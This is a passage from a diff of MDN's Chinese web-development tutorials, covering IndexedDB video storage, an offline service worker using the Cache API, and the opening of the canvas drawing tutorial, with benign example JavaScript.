+<p><font><font>如上所述,IndexedDB可用于存储不仅仅是简单的文本字符串。</font><font>您可以存储任何您想要的东西,包括复杂的对象,如视频或图像blob。</font><font>并且它比任何其他类型的数据更难实现。</font></font></p> + +<p><font><font>为了演示如何操作,我们编写了另一个名为</font></font><a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/indexeddb/video-store" rel="noopener"><font><font>IndexedDB视频存储的</font></font></a><font><font>示例</font><font>(请参阅</font></font><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/video-store/" rel="noopener"><font><font>此处也可以在此处运行</font></font></a><font><font>)。</font><font>首次运行示例时,它会从网络下载所有视频,将它们存储在IndexedDB数据库中,然后在UI内部</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/video" title="HTML <video> 元素 用于在HTML或者XHTML文档中嵌入视频内容。"><code><video></code></a><font><font>元素中</font><font>显示视频</font><font>。</font><font>第二次运行它时,它会在数据库中找到视频并从那里获取它们而不是显示它们 - 这使得后续加载更快,占用空间更少。</font></font></p> + +<p><font><font>让我们来看看这个例子中最有趣的部分。</font><font>我们不会全部看 - 它的很多内容与上一个示例类似,代码注释得很好。</font></font></p> + +<ol> + <li> + <p>对于这个简单的例子,我们已经存储了视频的名称以获取数组opf对象:</p> + + <pre class="brush: js notranslate">const videos = [ + { 'name' : 'crystal' }, + { 'name' : 'elf' }, + { 'name' : 'frog' }, + { 'name' : 'monster' }, + { 'name' : 'pig' }, + { 'name' : 'rabbit' } +];</pre> + </li> + <li> + <p><font><font>首先,一旦数据库成功打开,我们就运行一个</font></font><code>init()</code><font><font>函数。</font><font>这会遍历不同的视频名称,尝试加载由</font></font><code>videos</code><font><font>数据库中的</font><font>每个名称标识的记录</font><font>。</font></font></p> + + <p><font><font>如果在数据库中找到每个视频(通过查看</font></font><code>request.result</code><font><font>评估</font><font>是否容易检查</font></font><code>true</code><font><font>- 如果记录不存在,那么</font></font><code>undefined</code><font><font>),视频文件(存储为blob)和视频名称将直接传递给</font></font><code>displayVideo()</code><font><font>函数以放置它们在用户界面中。</font><font>如果没有,视频名称将传递给</font></font><code>fetchVideoFromNetwork()</code><font><font>函数...你猜对了 - 从网络中获取视频。</font></font></p> + + <pre class="brush: js notranslate">function init() { + // Loop through the video names one by one + for(let i = 0; i < videos.length; i++) { + // Open transaction, get object store, and get() each video by name + let objectStore = db.transaction('videos').objectStore('videos'); + let request = objectStore.get(videos[i].name); + request.onsuccess = function() { + // If the result exists in the database (is not undefined) + if(request.result) { + // Grab the videos from IDB and display them using displayVideo() + console.log('taking videos from IDB'); + displayVideo(request.result.mp4, request.result.webm, request.result.name); + } else { + // Fetch the videos from the network + fetchVideoFromNetwork(videos[i]); + } + }; + } +}</pre> + </li> + <li> + <p><font><font>以下片段是从内部</font></font><code>fetchVideoFromNetwork()</code><font><font>获取的 - 这里我们使用两个单独的</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>WindowOrWorkerGlobalScope.fetch()</code></a><font><font>请求</font><font>获取视频的MP4和WebM版本</font><font>。</font><font>然后,我们使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Blob" title="Blob 对象表示一个不可变、原始数据的类文件对象。Blob 表示的不一定是JavaScript原生格式的数据。File 接口基于Blob,继承了 blob 的功能并将其扩展使其支持用户系统上的文件。"><code>Body.blob()</code></a><font><font>方法将每个响应的主体提取为blob,为我们提供可以在以后存储和显示的视频的对象表示。</font></font></p> + + <p><font><font>我们在这里遇到了一个问题 - 这两个请求都是异步的,但我们只想在两个promises都满足时尝试显示或存储视频。</font><font>幸运的是,有一种处理这种问题的内置方法 - </font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/all" title="Promise.all(iterable) 方法返回一个 Promise 实例,此实例在 iterable 参数内所有的 promise 都“完成(resolved)”或参数中不包含 promise 时回调完成(resolve);如果参数中 promise 有一个失败(rejected),此实例回调失败(reject),失败原因的是第一个失败 promise 的结果。"><code>Promise.all()</code></a><font><font>。</font><font>这需要一个参数 - 引用您要检查放置在数组中的履行的所有单个承诺 - 并且本身是基于承诺的。</font></font></p> + + <p><font><font>当所有这些承诺都履行完毕时,</font></font><code>all()</code><font><font>承诺将通过包含所有个人履行价值的数组来实现。</font><font>在</font></font><code>all()</code><font><font>块中,您可以看到我们</font></font><code>displayVideo()</code><font><font>之前</font><font>调用</font><font>函数,就像在UI中显示视频一样,然后我们也调用</font></font><code>storeVideo()</code><font><font>函数将这些视频存储在数据库中。</font></font></p> + + <pre class="brush: js notranslate">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response => + response.blob() +); +let webmBlob = fetch('videos/' + video.name + '.webm').then(response => + response.blob() +);; + +// Only run the next code when both promises have fulfilled +Promise.all([mp4Blob, webmBlob]).then(function(values) { + // display the video fetched from the network with displayVideo() + displayVideo(values[0], values[1], video.name); + // store it in the IDB using storeVideo() + storeVideo(values[0], values[1], video.name); +});</pre> + </li> + <li> + <p><font><font>我们</font></font><code>storeVideo()</code><font><font>先</font><font>来看看吧</font><font>。</font><font>这与您在上一个示例中看到的用于向数据库添加数据的模式非常相似 - 我们打开一个</font></font><code>readwrite</code><font><font>事务并获取对象存储引用</font></font><code>videos</code><font><font>,创建一个表示要添加到数据库的记录的对象,然后使用它添加它</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBObjectStore/add" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBObjectStore.add()</code></a><font><font>。</font></font></p> + + <pre class="brush: js notranslate">function storeVideo(mp4Blob, webmBlob, name) { + // Open transaction, get object store; make it a readwrite so we can write to the IDB + let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos'); + // Create a record to add to the IDB + let record = { + mp4 : mp4Blob, + webm : webmBlob, + name : name + } + + // Add the record to the IDB using add() + let request = objectStore.add(record); + + ... + +};</pre> + </li> + <li> + <p><font><font>最后但并非最不重要的是,我们</font></font><code>displayVideo()</code><font><font>创建了在UI中插入视频然后将它们附加到页面所需的DOM元素。</font><font>最有趣的部分如下所示 - 要在</font></font><code><video></code><font><font>元素中</font><font>实际显示我们的视频blob </font><font>,我们需要使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/URL/createObjectURL" title="URL.createObjectURL() 静态方法会创建一个 DOMString,其中包含一个表示参数中给出的对象的URL。这个 URL 的生命周期和创建它的窗口中的 document 绑定。这个新的URL 对象表示指定的 File 对象或 Blob 对象。"><code>URL.createObjectURL()</code></a><font><font>方法</font><font>创建对象URL(指向存储在内存中的视频blob的内部URL)</font><font>。</font><font>完成后,我们可以将对象URL设置为</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/source" title="HTML <source>元素为<picture>,<audio>或<video>元素指定多个媒体资源。 这是一个空元素。 它通常用于以不同浏览器支持的多种格式提供相同的媒体内容。"><code><source></code></a><font><font>元素</font></font><code>src</code><font><font>属性的值,并且它可以正常工作。</font></font></p> + + <pre class="brush: js notranslate">function displayVideo(mp4Blob, webmBlob, title) { + // Create object URLs out of the blobs + let mp4URL = URL.createObjectURL(mp4Blob); + let webmURL = URL.createObjectURL(webmBlob); + + ... + + let video = document.createElement('video'); + video.controls = true; + let source1 = document.createElement('source'); + source1.src = mp4URL; + source1.type = 'video/mp4'; + let source2 = document.createElement('source'); + source2.src = webmURL; + source2.type = 'video/webm'; + + ... +}</pre> + </li> +</ol> + +<h2 id="离线文件存储">离线文件存储</h2> + +<p><font>上面的示例已经说明了如何创建一个将大型资产存储在IndexedDB数据库中的应用程序,从而无需多次下载它们。</font><font>这已经是对用户体验的一个很大的改进,但仍然有一件事 - 每次访问网站时仍然需要下载主要的HTML,CSS和JavaScript文件,这意味着当没有网络连接时,它将无法工作。</font></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15759/ff-offline.png" style="border-style: solid; border-width: 1px; display: block; height: 307px; margin: 0px auto; width: 765px;"></p> + +<p><font><font>这就是</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API"><font><font>服务工作者</font></font></a><font><font>和密切相关的</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Cache"><font><font>Cache API的</font></font></a><font><font>用武之地。</font></font></p> + +<p><font><font>服务工作者是一个JavaScript文件,简单地说,它是在浏览器访问时针对特定来源(网站或某个域的网站的一部分)进行注册的。</font><font>注册后,它可以控制该来源的可用页面。</font><font>它通过坐在加载的页面和网络之间以及拦截针对该来源的网络请求来实现这一点。</font></font></p> + +<p><font><font>当它拦截一个请求时,它可以做任何你想做的事情(参见</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API#Other_use_case_ideas"><font><font>用例思路</font></font></a><font><font>),但经典的例子是离线保存网络响应,然后提供响应请求而不是来自网络的响应。</font><font>实际上,它允许您使网站完全脱机工作。</font></font></p> + +<p><font><font>Cache API是另一种客户端存储机制,略有不同 - 它旨在保存HTTP响应,因此与服务工作者一起工作得非常好。</font></font></p> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:现在大多数现代浏览器都支持服务工作者和缓存。</font><font>在撰写本文时,Safari仍在忙着实施它,但它应该很快就会存在。</font></font></p> +</div> + +<h3 id="一个_service_worker_例子">一个 service worker 例子</h3> + +<p><font><font>让我们看一个例子,让你对这可能是什么样子有所了解。</font><font>我们已经创建了另一个版本的视频存储示例,我们在上一节中看到了 - 这个功能完全相同,只是它还通过服务工作者将Cache,CSS和JavaScript保存在Cache API中,允许示例脱机运行!</font></font></p> + +<p><font><font>请参阅</font></font><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/" rel="noopener"><font><font>IndexedDB视频存储,其中服务工作者正在运行</font></font></a><font><font>,并且还可以</font></font><a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/cache-sw/video-store-offline" rel="noopener"><font><font>查看源代码</font></font></a><font><font>。</font></font></p> + +<h4 id="注册服务工作者"><font><font>注册服务工作者</font></font></h4> + +<p><font><font>首先要注意的是,在主JavaScript文件中放置了一些额外的代码(请参阅</font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js" rel="noopener"><font><font>index.js</font></font></a><font><font>)。</font><font>首先,我们进行特征检测测试,以查看</font></font><code>serviceWorker</code><font><font>该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Navigator" title="Navigator 接口表示用户代理的状态和标识。 它允许脚本查询它和注册自己进行一些活动。"><code>Navigator</code></a><font><font>对象中</font><font>是否有该</font><font>成员</font><font>。</font><font>如果返回true,那么我们知道至少支持服务工作者的基础知识。</font><font>在这里,我们使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/ServiceWorkerContainer/register" title="ServiceWorkerContainer 接口的 register() 方法创建或更新一个给定scriptURL的ServiceWorkerRegistration 。"><code>ServiceWorkerContainer.register()</code></a><font><font>方法将</font></font><code>sw.js</code><font><font>文件中</font><font>包含的服务工作者注册到</font><font>它所驻留的源,因此它可以控制与它或子目录相同的目录中的页面。</font><font>当其承诺履行时,服务人员被视为已注册。</font></font></p> + +<pre class="brush: js notranslate"> // Register service worker to control making site work offline + + if('serviceWorker' in navigator) { + navigator.serviceWorker + .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js') + .then(function() { console.log('Service Worker Registered'); }); + }</pre> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:</font></font><code>sw.js</code><font><font>文件</font><font>的给定路径</font><font>是相对于站点源的,而不是包含代码的JavaScript文件。</font><font>服务人员在</font></font><code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code><font><font>。</font><font>原点是</font></font><code>https://mdn.github.io</code><font><font>,因此给定的路径必须是</font></font><code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code><font><font>。</font><font>如果您想在自己的服务器上托管此示例,则必须相应地更改此示例。</font><font>这是相当令人困惑的,但出于安全原因,它必须以这种方式工作。</font></font></p> +</div> + +<h4 id="安装_service_worker">安装 service worker</h4> + +<p><font><font>下次访问服务工作者控制下的任何页面时(例如,重新加载示例时),将针对该页面安装服务工作者,这意味着它将开始控制它。</font><font>发生这种情况时,</font></font><code>install</code><font><font>会向服务工作人员发起</font><font>一个</font><font>事件; </font><font>您可以在服务工作者本身内编写代码来响应安装。</font></font></p> + +<p><font><font>让我们看一下</font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js" rel="noopener"><font><font>sw.js</font></font></a><font><font>文件(服务工作者)</font><font>中的一个例子</font><font>。</font><font>您将看到安装侦听器已注册</font></font><code>self</code><font><font>。</font><font>此</font></font><code>self</code><font><font>关键字是一种从服务工作文件内部引用服务工作者的全局范围的方法。</font></font></p> + +<p><font><font>在</font></font><code>install</code><font><font> 处理程序</font><font>内部, </font><font>我们使用</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/ExtendableEvent/waitUntil" title="ExtendableEvent.waitUntil() 方法扩展了事件的生命周期。在服务工作线程中,延长事件的寿命从而阻止浏览器在事件中的异步操作完成之前终止服务工作线程。"><code>ExtendableEvent.waitUntil()</code></a><font><font>事件对象上可用</font><font>的</font><font>方法来表示浏览器不应该完成服务工作者的安装,直到其中的promise成功完成。</font></font></p> + +<p><font><font>这是我们在运行中看到Cache API的地方。</font><font>我们使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/CacheStorage/open" title="CacheStorage open() 方法返回一个resolve为匹配 cacheName 的 Cache 对象的 Promise ."><code>CacheStorage.open()</code></a><font><font>方法打开一个可以存储响应的新缓存对象(类似于IndexedDB对象存储)。</font><font>此承诺通过</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Cache" title="Cache 接口为缓存的 Request / Response 对象对提供存储机制,例如,作为ServiceWorker 生命周期的一部分。请注意,Cache 接口像 workers 一样,是暴露在 window 作用域下的。尽管它被定义在 service worker 的标准中, 但是它不必一定要配合 service worker 使用."><code>Cache</code></a><font><font>表示</font></font><code>video-store</code><font><font>缓存</font><font>的</font><font>对象来</font><font>实现</font><font>。</font><font>然后,我们使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Cache/addAll" title="Cache 接口的 addAll() 方法接受一个URL数组,检索它们,并将生成的response对象添加到给定的缓存中。 在检索期间创建的request对象成为存储的response操作的key。"><code>Cache.addAll()</code></a><font><font>方法获取一系列资产并将其响应添加到缓存中。</font></font></p> + +<pre class="brush: js notranslate">self.addEventListener('install', function(e) { + e.waitUntil( + caches.open('video-store').then(function(cache) { + return cache.addAll([ + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/', + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html', + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js', + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css' + ]); + }) + ); +});</pre> + +<p>这就是现在,安装完成。</p> + +<h4 id="响应未来的请求">响应未来的请求</h4> + +<p><font><font>在我们的HTML页面上注册并安装了服务工作者,并且所有相关资产都添加到我们的缓存中,我们几乎准备好了。</font><font>还有一件事要做,写一些代码来响应进一步的网络请求。</font></font></p> + +<p><font><font>这就是第二位代码的</font></font><code>sw.js</code><font><font>作用。</font><font>我们向服务工作者全局范围添加另一个侦听器,该范围在</font></font><code>fetch</code><font><font>引发事件</font><font>时运行处理函数</font><font>。</font><font>只要浏览器在服务工作者注册的目录中请求资产,就会发生这种情况。</font></font></p> + +<p><font><font>在处理程序内部,我们首先记录所请求资产的URL。</font><font>然后,我们使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/FetchEvent/respondWith" title="FetchEvent 接口的 respondWith() 方法旨在包裹代码,这些代码为来自受控页面的request生成自定义的response。这些代码通过返回一个 Response 、 network error 或者 Fetch的方式resolve。"><code>FetchEvent.respondWith()</code></a><font><font>方法</font><font>为请求提供自定义响应</font><font>。</font></font></p> + +<p><font><font>在这个块中,我们</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/CacheStorage/match" title="CacheStorage 接口(可适用于全局性caches) 的 match() 方法检查给定的Request 对象或url字符串是否是一个已存储的 Response 对象的key. 这个方法针对 Response 返回一个 Promise ,如果没有匹配则返回 undefined 。"><code>CacheStorage.match()</code></a><font><font>用来检查是否可以在任何缓存中找到匹配的请求(即匹配URL)。</font><font>如果未找到匹配,或者</font></font><code>undefined</code><font><font>如果</font><font>未找到匹配,则此承诺将满足匹配的响应</font><font>。</font></font></p> + +<p><font><font>如果找到匹配项,我们只需将其作为自定义响应返回。</font><font>如果没有,我们</font><font>从网络中</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch"><font><font>获取()</font></font></a><font><font>响应并返回该响应。</font></font></p> + +<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) { + console.log(e.request.url); + e.respondWith( + caches.match(e.request).then(function(response) { + return response || fetch(e.request); + }) + ); +});</pre> + +<p><font><font>这就是我们简单的服务工作者。</font><font>您可以使用它们进行更多的负载 - 有关详细信息,请参阅</font></font><a href="https://serviceworke.rs/" rel="noopener"><font><font>服务工作者手册</font></font></a><font><font>。</font><font>感谢Paul Kinlan在他的文章中</font></font><a href="https://developers.google.com/web/fundamentals/codelabs/offline/" rel="noopener"><font><font>添加服务工作者和离线到您的Web应用程序</font></font></a><font><font>,这启发了这个简单的例子。</font></font></p> + +<h4 id="测试离线示例">测试离线示例</h4> + +<p><font><font>要测试我们的</font></font><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/" rel="noopener"><font><font>服务工作者示例</font></font></a><font><font>,您需要加载它几次以确保它已安装。</font><font>完成后,您可以:</font></font></p> + +<ul> + <li><font><font>尝试拔掉网络连接/关闭Wifi。</font></font></li> + <li><font><font>如果您使用的是Firefox,请</font><font>选择</font></font><em><font><font>文件>脱机工作</font></font></em><font><font>。</font></font></li> + <li><font><font>转到devtools,然后选择</font></font><em><font><font>Application> Service Workers</font></font></em><font><font>,</font><font>如果您使用的是Chrome </font><font>,请选中</font></font><em><font><font>Offline</font></font></em><font><font>选中。</font></font></li> +</ul> + +<p><font><font>如果再次刷新示例页面,您仍应该看到它加载得很好。</font><font>所有内容都是脱机存储的 - 缓存中的页面资源以及IndexedDB数据库中的视频。</font></font></p> + +<h2 id="总结">总结</h2> + +<p><font>现在就是这些。</font><font>我们希望你能感觉到我们对客户端存储技术的介绍很有用。</font></p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Storage_API">网页存储 API</a></li> + <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a></li> + <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service worker API</a></li> +</ul> + +<p>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">网页端 API介绍 </a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">从服务器获取数据(fetch)</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">第三方 API</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">视频和音频 API</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">客户端存储</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/drawing_graphics/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/drawing_graphics/index.html new file mode 100644 index 0000000000..e39694743d --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/drawing_graphics/index.html @@ -0,0 +1,881 @@ +--- +title: 绘图 +slug: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics +tags: + - API + - Canvas + - CodingScripting + - JavaScript + - WebGL + - 初学者 + - 图形 + - 学习 + - 文章 +translation_of: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">浏览器包含一些非常强大的图形编程工具,从可缩放矢量图形(Scalable Vector Graphics,简称 <a href="https://developer.mozilla.org/zh-CN/docs/Web/SVG">SVG</a>)语言到用于在 HTML {{htmlelement("canvas")}} 元素上绘制图形的API(参阅 <a href="/zh-CN/docs/Web/API/Canvas_API">Canvas API</a> 和 <a href="/zh-CN/docs/Web/API/WebGL_API">WebGL</a>)。本文对 {{htmlelement("canvas")}} 进行介绍,并提供更多的学习资源。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>JavaScript基础(见 <a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a>,<a href="/zh-CN/docs/learn/JavaScript/Building_blocks">创建 JavaScript 代码块</a>,<a href="/zh-CN/docs/Learn/JavaScript/Objects">JavaScript 对象入门</a>),<a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API 基础知识</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习 JavaScript 在 <code><canvas></code> 元素中绘图的基础知识。</td> + </tr> + </tbody> +</table> + +<h2 id="网络图形">网络图形</h2> + +<p>我们来讨论 HTML 的 <a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding">多媒体和嵌入式</a> 模块,早先的网页只有单调的文字,后来才引入了图像,起初是通过 {{htmlelement("img")}} 元素的方式,后来出现了类似于 {{cssxref("background-image")}} 的 CSS 属性和 <a href="/zh-CN/docs/Web/SVG">SVG</a> 图像等方式。</p> + +<p>然而,这还不够好。当你能够使用 <a href="/zh-CN/docs/Learn/CSS">CSS</a> 和 <a href="/zh-CN/docs/Learn/JavaScript">JavaScript </a>让 SVG 矢量图动起来时,位图却依然没有相应的支持。同时 SVG 动画的可用工具也少得可怜。有效地生成动画、游戏画面、3D场景和其他的需求依然没有满足,而这些在诸如 C++ 或者 Java 等底层语言中却司空见惯。</p> + +<p>当浏览器开始支持 HTML 画布元素 {{htmlelement("canvas")}} 和相关的 <a href="/zh-CN/docs/Web/API/Canvas_API">Canvas API</a>(由苹果公司在 2004 年前后发明,后来其他的浏览器开始跟进)时,形势开始改善。下面你会看到,canvas 提供了许多有用的工具,特别是当捆绑了由网络平台提供的一些其他的 API 时。它们用来生成 2D 动画、游戏画面和数据分析图,以及其他类型的 app。</p> + +<p>下面的例子显示的是一个基于 canvas 的简单的 2D 弹跳球动画,前面我们在 <a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_building_practice">JavaScript 对象入门 </a>的章节中见到过。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/bouncing-balls/index-finished.html", '100%', 500)}}</p> + +<p>大约在 2006 - 2007 年,Mozilla 开始测试 3D 画布。后来演化为 <a href="/zh-CN/docs/Web/API/WebGL_API">WebGL</a>,它获得了各大浏览器厂商的认可,于是大约在 2009 - 2010 年间得到了标准化。WebGL 可以让你在 web 浏览器中生成真正的 3D 图形。下面的例子显示了一个简单的旋转的 WebGL 立方体。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}</p> + +<p>由于原生的 WebGL 代码非常复杂,本文主要针对 2D 画布。然而,你也可以通过 <a href="/zh-CN/docs/Web/API/WebGL_API">WebGL介绍页面</a> 找到 WebGL 原生代码的教程,来学习如何更容易地使用 WebGL 库来创建一个 3D 场景。</p> + +<div class="note"> +<p><strong>注:</strong>画布的基本功能有良好的跨浏览器支持。但存在例外:IE 8 及以下不支持 2D 画布,IE 11 及以下不支持WebGL。</p> +</div> + +<h2 id="主动学习:开始使用_<canvas>">主动学习:开始使用 <canvas></h2> + +<p>要在网页中创建 2D 或者 3D 场景,必须在 HTML 文件中插入一个 {{htmlelement("canvas")}} 元素,以界定网页中的绘图区域。这很简单,如下所示:</p> + +<pre class="brush: html notranslate"><canvas width="320" height="240"></canvas></pre> + +<p>网页中会生成一块 320 × 240 像素的画布。</p> + +<p>在 canvas 标签内,你可以放置一些反馈信息,如果用户的浏览器不支持画布功能,这些内容就会显示出来。</p> + +<pre class="brush: html notranslate"><canvas width="320" height="240"> + <p>卧槽你的浏览器竟然不支持 canvas!</p> +</canvas></pre> + +<p>当然这条信息实在是没什么用!在实际情况中最好提供与画布内容相关的反馈信息。比如,如果无法渲染实时更新的股价曲线图,就应提供一幅静态的、最近的股价曲线图,并用 alt 显示出价格信息。</p> + +<h3 id="创建画布并确定尺寸">创建画布并确定尺寸</h3> + +<p>让我们开始吧:创建画布,准备尝试绘制图形。</p> + +<ol> + <li> + <p>首先下载 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/0_canvas_start.html">0_canvas_start.html</a> 文件, 用文本编辑器打开。</p> + </li> + <li> + <p>在 {{htmlelement("body")}} 标签下面填加以下代码。</p> + + <pre class="brush: html notranslate"><canvas class="myCanvas"> + <p>添加恰当的反馈信息。</p> +</canvas></pre> + + <p>我们为 <code><canvas></code> 元素添加了一个 <code>class</code>,使得在网页中选择多个画布时会容易些。这里我们移除了 <code>width</code> 和 <code>height</code> 属性 (你可以随时添上。但是我们会在下方用 JavaScript 把它们添加回来)。不明确指定宽高时,画布默认尺寸为 300 × 150 像素。</p> + </li> + <li> + <p>现在,请在 {{htmlelement("script")}} 元素内添加以下 JavaScript 代码:</p> + + <pre class="brush: js notranslate">var canvas = document.querySelector('.myCanvas'); +var width = canvas.width = window.innerWidth; +var height = canvas.height = window.innerHeight;</pre> + + <p>这里我们用 <code>canvas</code> 变量来存储画布的引用。第二行中我们将 {{domxref("Window.innerWidth")}}(可视区域宽度)赋值给一个新变量 <code>width</code> 和画布的 <code>canvas.width</code> 变量,(第三行同理)。然后我们就得到了一个充满窗口的画布。<br> + <br> + 你还可以看到我们使用了多个等号为多个变量进行连续赋值,这在 JavaScript 中是允许的,很适合为多个变量同时赋一个相同的值。后文中你会发现,使用 <code>width</code> 和 <code>height</code> 变量可以更快捷地访问画布的长宽(比如在画布正中央绘制一条垂直线)。 </p> + </li> + <li> + <p>如果现在保存文件,浏览器中什么也不会显示,这并没有问题,但是滚动条还是可见的,这就是问题了。原因是我们的“全窗尺寸画布”包含 {{htmlelement("body")}} 元素的外边距({{cssxref("margin")}}),使得文档比窗口略宽。 为使滚动条消失,需要删除 {{htmlelement("body")}} 元素的 {{cssxref("margin")}} 并将 {{cssxref("overflow")}} 设置为 <code>hidden</code>。在文档的 {{htmlelement("head")}} 中添加以下代码即可:</p> + + <pre class="brush: html notranslate"><style> + body { + margin: 0; + overflow: hidden; + } +</style></pre> + + <p>此时滚动条就消失了。</p> + </li> +</ol> + +<div class="note"> +<p><strong>注:</strong>如上文所讲,一般情况下图片的尺寸可以通过 HTML 属性或 DOM 属性来设定。你也可以使用 CSS,但问题是画布在渲染完毕后其尺寸就是固定的了,如果试图调整,就会与其他图象一样(其实渲染好的画布就是一副图片),所显示的内容将变得像素化或扭曲变形。</p> +</div> + +<h3 id="获取画布上下文(canvas_context)并完成设置">获取画布上下文(canvas context)并完成设置</h3> + +<p>画布模板设置还有最后一步。我们需要获得一个对绘画区域的特殊的引用(称为“上下文”)用来在画布上绘图。可通过 {{domxref("HTMLCanvasElement.getContext()")}} 方法获得基础的绘画功能,需要提供一个字符串参数来表示所需上下文的类型。</p> + +<p>这里我们需要一个 2d 画布,在 <code><script></code> 元素内添加以下 JS 代码即可:</p> + +<pre class="brush: js notranslate">var ctx = canvas.getContext('2d');</pre> + +<div class="note"> +<p><strong>注:</strong>可选上下文还包括 WebGL(<code>webgl</code>)、WebGL 2(<code>webgl2</code>)等等,但本文暂不涉及。</p> +</div> + +<p>好啦,现已万事具备!<code>ctx</code> 变量包含一个 {{domxref("CanvasRenderingContext2D")}} 对象,画布上所有绘画操作都会涉及到这个对象。</p> + +<p>开始前我们先初尝一下 canvas API。在 JS 代码中添加以下两行,将画布背景涂成黑色:</p> + +<pre class="brush: js notranslate">ctx.fillStyle = 'rgb(0, 0, 0)'; +ctx.fillRect(0, 0, width, height);</pre> + +<p>这里我们使用画布的 {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} 属性(和CSS属性 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">色值</a> 一致)设置填充色,然后使用 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} 方法绘制一个覆盖整个区域的矩形(前两个参数是矩形左上顶点的坐标,后两个参数是矩形的长宽,现在你知道 <code>width</code> 和 <code>height</code> 的作用了吧)。</p> + +<p>好的,模板已经就位,我们要开始了。</p> + +<h2 id="2D_画布基础">2D 画布基础</h2> + +<p>如上文所讲,所有绘画操作都离不开 {{domxref("CanvasRenderingContext2D")}} 对象(这里叫做 